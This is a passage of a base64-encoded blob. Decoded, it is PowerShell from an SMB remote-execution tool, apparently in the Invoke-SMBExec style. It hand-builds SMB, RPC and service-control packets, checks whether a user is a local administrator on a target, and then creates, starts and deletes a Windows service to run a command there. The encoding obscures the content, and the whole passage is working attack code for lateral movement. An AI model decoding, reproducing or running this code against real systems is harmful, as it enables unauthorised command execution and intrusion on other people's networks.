AgJHBhY2tldF9TTUJfZGF0YVsiU01CV3JpdGVBbmRYUmVxdWVzdF9GSUQiXSA9ICRTTUJfRklEDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQl9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUJfZGF0YS5MZW5ndGggKyAkU0NNX2RhdGEuTGVuZ3RoICsgJFJQQ19kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IEdldC1QYWNrZXROZXRCSU9TU2Vzc2lvblNlcnZpY2UgJFNNQl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbiA9ICRzZXNzaW9uX2tleSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25hdHVyZSA9ICRTTUJfc2lnbmF0dXJlWzAuLjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLldyaXRlKCRTTUJfY2xpZW50X3NlbmQsMCwkU01CX2NsaWVudF9zZW5kLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLkZsdXNoKCkNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnUmVhZEFuZFhSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDaGVja0FjY2VzcycgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0NoZWNrQWNjZXNzJw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDAtMDAtMDAtMDAnIC1hbmQgW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzg4Li4xMDddKSAtbmUgJzAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbODguLjEwN10NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfZXhlY3V0ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ3JlYXRlU2VydmljZVcnDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBhIGxvY2FsIGFkbWluaXN0cmF0b3Igb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMDguLjExMV0pIC1lcSAnMDUtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBub3QgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQkV4ZWNfZmFpbGVkID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ25pbmdfY291bnRlciA9ICRTTUJfc2lnbmluZ19jb3VudGVyICsgMiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBbQnl0ZVtdXSRTTUJfc2lnbmluZ19zZXF1ZW5jZSA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJFNNQl9zaWduaW5nX2NvdW50ZXIpICsgMHgwMCwweDAwLDB4MDAsMHgwMA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU0NNX2RhdGEgPSBHZXQtUGFja2V0U0NNQ3JlYXRlU2VydmljZVcgJFNNQl9zZXJ2aWNlX21hbmFnZXJfY29udGV4dF9oYW5kbGUgJFNNQl9zZXJ2aWNlX2J5dGVzICRTTUJfc2VydmljZV9sZW5ndGggJFNNQkV4ZWNfY29tbWFuZF9ieXRlcyAkU01CRXhlY19jb21tYW5kX2xlbmd0aF9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMiwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwYywweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJXcml0ZUFuZFhSZXF1ZXN0ICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAkU01CX2hlYWRlciArICRTTUJfZGF0YSArICRSUENfZGF0YSArICRTQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2lnbmF0dXJlID0gJE1ENS5Db21wdXRlSGFzaCgkU01CX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zZW5kID0gJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnU3RhcnRTZXJ2aWNlVycgICANCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICdTdGFydFNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTE1XSkgLWVxICcwMC0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiU2VydmljZSAkU01CX3NlcnZpY2UgY3JlYXRlZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbOTIuLjExMV0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXIgPSBHZXQtUGFja2V0U01CSGVhZGVyIDB4MmYgMHgxOCAweDA1LDB4MjggJFNNQl90cmVlX0lEICRwcm9jZXNzX0lEX2J5dGVzICRTTUJfdXNlcl9JRA0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyWyJTTUJIZWFkZXJfRmxhZ3MyIl0gPSAweDA1LDB4NDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtCeXRlW11dJFNNQl9zaWduaW5nX3NlcXVlbmNlID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkU01CX3NpZ25pbmdfY291bnRlcikgKyAweDAwLDB4MDAsMHgwMCwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX1NpZ25hdHVyZSJdID0gJFNNQl9zaWduaW5nX3NlcXVlbmNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01TdGFydFNlcnZpY2VXICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTQ01fZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1JQQ19kYXRhID0gR2V0LVBhY2tldFJQQ1JlcXVlc3QgMHgwMyAkU0NNX2RhdGEubGVuZ3RoIDAgMCAweDAzLDB4MDAsMHgwMCwweDAwIDB4MDAsMHgwMCAweDEzLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGEgPSBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCAkU0NNX2RhdGEubGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YVsiU01CV3JpdGVBbmRYUmVxdWVzdF9GSUQiXSA9ICRTTUJfRklEDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUJfZGF0YS5MZW5ndGggKyAkU0NNX2RhdGEuTGVuZ3RoICsgJFJQQ19kYXRhLkxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduID0gJHNlc3Npb25fa2V5ICsgJFNNQl9oZWFkZXIgKyAkU01CX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkTUQ1LkNvbXB1dGVIYXNoKCRTTUJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduYXR1cmUgPSAkU01CX3NpZ25hdHVyZVswLi43XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmF0dXJlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUJfaGVhZGVyICsgJFNNQl9kYXRhICsgJFJQQ19kYXRhICsgJFNDTV9kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtVmVyYm9zZSAiVHJ5aW5nIHRvIGV4ZWN1dGUgY29tbWFuZCBvbiAkVGFyZ2V0Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5SZWFkKCRTTUJfY2xpZW50X3JlY2VpdmUsMCwkU01CX2NsaWVudF9yZWNlaXZlLkxlbmd0aCkgPiAkbnVsbA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRBbmRYUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZV9uZXh0ID0gJ0RlbGV0ZVNlcnZpY2VXJyAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzExMi4uMTE1XSkgLWVxICczMS0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBjcmVhdGlvbiBmYWlsZWQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiU2VydmljZSBjcmVhdGlvbiBmYXVsdCBjb250ZXh0IG1pc21hdGNoIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJFeGVjX2ZhaWxlZCA9ICR0cnVlDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ0RlbGV0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICB7IA0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbODguLjkxXSkgLWVxICcxZC0wNC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJDb21tYW5kIGV4ZWN1dGVkIHdpdGggc2VydmljZSAkU01CX3NlcnZpY2Ugb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihbU3lzdGVtLkJpdENvbnZlcnRlcl06OlRvU3RyaW5nKCRTTUJfY2xpZW50X3JlY2VpdmVbODguLjkxXSkgLWVxICcwMi0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JpdGUtT3V0cHV0ICJTZXJ2aWNlICRTTUJfc2VydmljZSBmYWlsZWQgdG8gc3RhcnQgb24gJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfaGVhZGVyID0gR2V0LVBhY2tldFNNQkhlYWRlciAweDJmIDB4MTggMHgwNSwweDI4ICRTTUJfdHJlZV9JRCAkcHJvY2Vzc19JRF9ieXRlcyAkU01CX3VzZXJfSUQNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2hlYWRlclsiU01CSGVhZGVyX0ZsYWdzMiJdID0gMHgwNSwweDQ4DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9zaWduaW5nX2NvdW50ZXIgPSAkU01CX3NpZ25pbmdfY291bnRlciArIDIgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgW0J5dGVbXV0kU01CX3NpZ25pbmdfc2VxdWVuY2UgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRTTUJfc2lnbmluZ19jb3VudGVyKSArIDB4MDAsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQl9oZWFkZXJbIlNNQkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUJfc2lnbmluZ19zZXF1ZW5jZQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NDTV9kYXRhID0gR2V0LVBhY2tldFNDTURlbGV0ZVNlcnZpY2VXICRTTUJfc2VydmljZV9jb250ZXh0X2hhbmRsZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwNCwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwMiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CX2hlYWRlciAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUJfZGF0YSA9IEdldC1QYWNrZXRTTUJXcml0ZUFuZFhSZXF1ZXN0ICRTQ01fZGF0YS5sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CX2RhdGFbIlNNQldyaXRlQW5kWFJlcXVlc3RfRklEIl0gPSAkU01CX0ZJRA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUJfZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9SUENfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YV9sZW5ndGggPSAkU01CX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUJfaGVhZGVyLkxlbmd0aCAkUlBDX2RhdGFfbGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NpZ24gPSAkc2Vzc2lvbl9rZXkgKyAk